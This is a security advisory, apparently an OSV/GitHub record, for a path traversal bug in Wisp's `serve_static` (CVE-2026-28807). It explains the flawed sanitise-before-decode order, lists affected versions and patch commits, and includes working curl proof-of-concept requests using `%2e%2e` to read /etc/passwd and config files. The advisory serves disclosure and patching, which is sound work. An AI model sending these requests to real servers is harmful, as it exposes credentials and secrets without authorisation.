CVE-2026-28807: Wisp Path Traversal Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h7cj-j2vv-qw8r",
  "modified" : "2026-06-08T23:41:31Z",
  "published" : "2026-03-11T00:11:39Z",
  "aliases" : [ "CVE-2026-28807" ],
  "summary" : "Wisp Vulnerable to Path Traversal",
  "details" : "### Summary\n\n`wisp.serve_static` is vulnerable to arbitrary file read via percent-encoded path traversal (`%2e%2e`). The directory traversal sanitization runs before percent-decoding, allowing encoded `..` sequences to bypass the filter. An unauthenticated attacker can read any file readable by the application process in a single HTTP request.\n\n### Details\n\nIn `src/wisp.gleam`, `serve_static` processes the request path in this order:\n\n```gleam\nlet path =\n  path\n  |> string.drop_start(string.length(prefix))\n  |> string.replace(each: \"..\", with: \"\")   // Step 1: sanitize\n  |> filepath.join(directory, _)\n\nlet path = case uri.percent_decode(path) {  // Step 2: decode\n  Ok(p) -> p\n  Error(_) -> path\n}\n```\n\nSanitization (step 1) strips literal `..` but runs **before** percent-decoding (step 2). The encoded sequence `%2e%2e` passes through `string.replace` unchanged, then `uri.percent_decode` converts it to `..`, which the OS resolves as directory traversal when the file is read.\n\n### PoC\n\nAny application using `wisp.serve_static`:\n\n```gleam\nfn handle_request(req: wisp.Request) -> wisp.Response {\n  use <- wisp.serve_static(req, under: \"/static\", from: priv_directory())\n  wisp.not_found()\n}\n```\n\nExploit (requires `--path-as-is` to prevent client-side normalization):\n\n```bash\n# Read /etc/passwd\ncurl -s --path-as-is \\\n  \"http://localhost:8080/static/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\"\n\n# Read project source code\ncurl -s --path-as-is \\\n  \"http://localhost:8080/static/%2e%2e/%2e%2e/src/app.gleam\"\n\n# Read project config\ncurl -s --path-as-is \\\n  \"http://localhost:8080/static/%2e%2e/%2e%2e/gleam.toml\"\n```\n\n### Impact\n\nThis is a **path traversal / arbitrary file read** vulnerability (CWE-22). Any application using `wisp.serve_static` is affected. An unauthenticated attacker can read:\n\n- Application source code\n- Configuration and secrets in `priv/`\n- `.env` files, `secret_key_base`, private keys\n- System files (`/etc/passwd`, `/etc/shadow` if permissions allow)\n\n### Workaround\n\nCopy the [fixed implementation](https://github.com/gleam-wisp/wisp/blob/161118c431047f7ef1ff7cabfcc38981877fdd93/src/wisp.gleam#L1413-L1461) to your codebase and replace references to wisp.serve_static with this version in your codebase.\n\n### References\n\n* Commit that introduced the vulnerability: https://github.com/gleam-wisp/wisp/commit/129dcb1fe10ab1e676145d91477535e1c90ab550\n* Patch Commit: https://github.com/gleam-wisp/wisp/commit/161118c431047f7ef1ff7cabfcc38981877fdd93",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Hex",
      "name" : "wisp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.1.1"
      }, {
        "fixed" : "2.2.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/gleam-wisp/wisp/security/advisories/GHSA-h7cj-j2vv-qw8r"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-28807"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gleam-wisp/wisp/commit/129dcb1fe10ab1e676145d91477535e1c90ab550"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gleam-wisp/wisp/commit/161118c431047f7ef1ff7cabfcc38981877fdd93"
  }, {
    "type" : "WEB",
    "url" : "https://cna.erlef.org/cves/CVE-2026-28807.html"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/gleam-wisp/wisp"
  }, {
    "type" : "WEB",
    "url" : "https://osv.dev/vulnerability/EEF-CVE-2026-28807"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-11T00:11:39Z",
    "nvd_published_at" : "2026-03-10T22:16:18Z"
  }
}